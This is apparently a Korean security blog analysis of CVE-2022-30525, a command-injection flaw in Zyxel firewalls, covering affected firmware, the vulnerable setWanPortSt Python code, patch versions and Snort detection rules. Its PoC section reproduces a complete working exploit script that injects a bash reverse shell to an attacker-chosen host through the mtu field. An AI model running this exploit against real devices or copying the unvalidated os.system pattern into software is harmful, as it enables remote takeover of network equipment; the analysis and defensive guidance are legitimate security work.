1. Zyxel
- 네트워크 통신 장비를 서비스하는 대만 다국적 기업
2. 취약점
- 취약한 Zyxel 방화벽의 관리 HTTP 인터페이스(인터넷에 노출된 경우)를 통해 OS 명령을 실행할 수 있는 취약점
영향받는 제품
① USG FLEX 100(W), 200, 500, 700 – 펌웨어: ZLD V5.00 ~ ZLD V5.21 패치 1
② USG FLEX 50(W) / USG20(W)-VPN – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
③ ATP 시리즈 – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
④ VPN 시리즈 – 펌웨어: ZLD V4.60 ~ ZLD V5.21 패치 1
※ 이러한 제품은 일반적으로 VPN, SSL 검사, 침입 방지, 이메일 보안 및 웹 필터링을 위해 소규모 지점 및 기업 본사에서 사용
2.1 분석
- 해당 취약점은 /ztp/cgi-bin/handler URI를 통해 악용되며, 취약한 기능은 setWanPortSt 명령과 관련
- handler.py에서 지원하는 명령은 다음과 같음
※ handler: 다양한 명령을 처리하는 Python 스크립트
supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute", \
"atraceroute", "iptables", "getorchstat", \
"getInterfaceName_out", "getInterfaceInfo", \
#"getSingleInterfaceInfo", "getAllInterfaceInfo", \
#"getInterfaceNameAll", "getInterfaceNameMapping", \
"nslookup", "iproget", \
"diagnosticinfo", "networkUnitedTest", \
#"setRemoteAssistActive", "getRemoteAssist", \
"setRemoteZyxelSupport", "getRemoteZyxelSupport", \
"getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \
"getUSBSt","setUSBmount","setUSBactive", \
"getDiagnosticInfoUsb", \
"getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \
"getlanguagest","setlanguage"
]
- setWanPortSt 명령을 통한 요청일 경우 handler.py는 lib_wan_settings.py의 setWanPortSt를 호출
def setWanPortSt(req):
reply = {}
vlan_tagged = ''
logging.info(req)
port = req["port"].strip()
vlanid = req["vlanid"]
proto = req["proto"]
data = req["data"]
vlan_tagged = req["vlan_tagged"]
cmdLine = ''
GUIportst = {}
extname = findextname(port)
#TODO: subprocess method
try:
if vlan_tagged == '1':
if vlanid == '':
vlanid == '0'
if proto == "dhcp":
if 'mtu' not in req:
req['mtu'] = '1500'
if vlan_tagged == '1':
cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
else:
cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
#extname = findextname(port)
cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
if vlan_tagged == '1':
cmdLine += ' ' + vlanid
if "option60" in data:
cmdLine += ' ' + data['option60']
cmdLine += ' >/dev/null 2>&1'
elif proto == "static":
if 'mtu' not in req:
req['mtu'] = '1500'
prefix_length = netmask_to_cidr(data['netmask'])
if vlan_tagged == '1':
cmdLine = '/usr/sbin/sdwan_iface_ipc 12 '
else:
cmdLine = '/usr/sbin/sdwan_iface_ipc 2 '
#extname = findextname(port)
cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu']
if vlan_tagged == '1':
cmdLine += ' ' + vlanid
cmdLine += ' ' + data['firstDnsServer']
if 'secondDnsServer' in data:
cmdLine += ' ' + data['secondDnsServer']
cmdLine += ' >/dev/null 2>&1'
elif proto == "pppoe":
if vlan_tagged == '1':
cmdLine = '/usr/sbin/sdwan_iface_ipc 13 '
else:
cmdLine = '/usr/sbin/sdwan_iface_ipc 3 '
#extname = findextname(port)
if 'auth_type' not in data:
data['auth_type'] = 'chap-pap'
if 'mtu' not in req:
req['mtu'] = '1492'
if 'ipaddr' not in data:
data['ipaddr'] = '0.0.0.0'
if 'gateway' not in data:
data['gateway'] = '0.0.0.0'
if 'firstDnsServer' not in data:
data['firstDnsServer'] = '0.0.0.0'
cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password']
+ ' ' + data['auth_type']
+ ' ' + data['ipaddr'] + ' ' + data['gateway']
+ ' ' + data['firstDnsServer'] + ' ' + req['mtu']
if vlan_tagged == '1':
cmdLine += ' ' + vlanid
cmdLine += ' >/dev/null 2>&1'
logging.info("cmdLine = %s" % cmdLine)
with open("/tmp/local_gui_write_flag", "w") as fout:
fout.write("1");
response = os.system(cmdLine)
logging.info(response)
if response != 256:
logging.info("cmd thread return error")
reply = {"error": 500}
else:
logging.info("cmd success!!")
reply["stdout"] = [{}]
reply["stderr"] =""
with open(WAN_PORT_LAST_CHANGED, "w") as fout:
fout.write(port)
if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD):
reply = {"error": 500, "exception": "Cannot find data2cloud folder!"}
with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified', 'a+') as fout:
fout.write(port + ' ')
except Exception as e:
reply = {"error": 500, "exception": e}
return reply
- setWanPortSt()는 사용자 요청을 검증 없이 cmdLine 변수에 저장 후 os.system(cmdLine)으로 명령을 실행
def setWanPortSt(req):
...
if proto == "dhcp":
if 'mtu' not in req:
req['mtu'] = '1500'
if vlan_tagged == '1':
cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
else:
cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
#extname = findextname(port)
cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
if vlan_tagged == '1':
cmdLine += ' ' + vlanid
if "option60" in data:
cmdLine += ' ' + data['option60']
cmdLine += ' >/dev/null 2>&1'
...
cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password']
+ ' ' + data['auth_type']
+ ' ' + data['ipaddr'] + ' ' + data['gateway']
+ ' ' + data['firstDnsServer'] + ' ' + req['mtu']
...
response = os.system(cmdLine)
2.2 PoC
- exploit(url, host, port)의 data 변수를 사용해 임의의 명령을 삽입
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import sys
import json
import base64
import requests
import argparse
parser = argparse.ArgumentParser(
prog="CVE-2022-30525.py",
description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",
)
parser.add_argument("-u", dest="url", help="Specify target URL")
parser.add_argument("-r", dest="host", help="Specify Remote host")
parser.add_argument("-p", dest="port", help="Specify Remote port")
args = parser.parse_args()
banner = (
"ICwtLiAuICAgLCAsLS0uICAgICAsLS4gICAsLS4gICwtLiAgLC0uICAgICAgLC0tLCAgLC0uICA7"
"LS0nICwtLiAgOy0tJyAKLyAgICB8ICAvICB8ICAgICAgICAgICApIC8gIC9cICAgICkgICAgKSAg"
"ICAgICAvICAvICAvXCB8ICAgICAgICkgfCAgICAKfCAgICB8IC8gICB8LSAgIC0tLSAgIC8gIHwg"
"LyB8ICAgLyAgICAvICAtLS0gIGAuICB8IC8gfCBgLS4gICAgLyAgYC0uICAKXCAgICB8LyAgICB8"
"ICAgICAgICAgLyAgIFwvICAvICAvICAgIC8gICAgICAgICAgKSBcLyAgLyAgICApICAvICAgICAg"
"KSAKIGAtJyAnICAgICBgLS0nICAgICAnLS0nICBgLScgICctLScgJy0tJyAgICAgYC0nICAgYC0n"
"ICBgLScgICctLScgYC0nICAKCVJldnNoZWxscwkoQ3JlYXRlZCBCeSBWYWxlbnRpbiBMb2JzdGVp"
"biA6KSApCg=="
)
def main():
print("\n" + base64.b64decode(banner).decode("utf-8"))
if None in vars(args).values():
print(f"[!] Please enter all parameters !")
parser.print_help()
sys.exit()
if "http" not in args.url:
args.url = "https://" + args.url
args.url += "/ztp/cgi-bin/handler"
exploit(args.url, args.host, args.port)
def exploit(url, host, port):
headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
"Content-Type": "application/json",
}
data = {
"command": "setWanPortSt",
"proto": "dhcp",
"port": "4",
"vlan_tagged": "1",
"vlanid": "5",
"mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
"data": "hi",
}
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}")
try:
response = requests.post(
url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5
)
except (KeyboardInterrupt, requests.exceptions.Timeout):
print("[!] Bye Bye hekcer !")
sys.exit(1)
finally:
try:
print("[!] Can't exploit the target ! Code :", response.status_code)
except:
print("[!] Enjoy your shell !!!")
if __name__ == "__main__":
main()
3. 대응방안
3.1 서버측면
① 해당 벤더사에서 발표한 보안 권고를 참고하여 최신 버전으로 업데이트 적용
제품명 | 영향받는 버전 | 해결 버전 |
USG FLEX 100(W), 200, 500, 700 | ZLD V5.00 ~ ZLD V5.21 Patch 1 | ZLD V5.30 |
USG FLEX 50(W) / USG20(W)-VPN | ZLD V5.10 ~ ZLD V5.21 Patch 1 | ZLD V5.30 |
ATP series | ZLD V5.10 ~ ZLD V5.21 Patch 1 | ZLD V5.30 |
VPN series | ZLD V4.60 ~ ZLD V5.21 Patch 1 | ZLD V5.30 |
3.2 네트워크 측면
① 공개된 PoC를 확인해 탐지 정책 적용
alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";)
alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";content:"setWanPortSt"; http_client_body;)
4. 참고
- https://nvd.nist.gov/vuln/detail/CVE-2022-30525
- https://www.exploit-db.com/exploits/50946
- http://www.zyxel.kr/bbs/board.php?bo_table=notice&wr_id=169&page=2
- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66715
'취약점 > Injection' 카테고리의 다른 글
MOVEit Transfer SQL Injection 취약점(CVE-2023-35036, CVE-2023-35708) (0) | 2023.06.17 |
---|---|
MOVEit Transfer SQL Injection 취약점(CVE-2023-34362) (1) | 2023.06.11 |
비박스 PHP Code Injection (0) | 2023.01.16 |
JSON 기반 SQL Injeciton 통한 WAF 우회 공격 (0) | 2023.01.09 |
Linear eMerge E3-Series devices Command Injections (CVE-2019-7256) (0) | 2022.12.06 |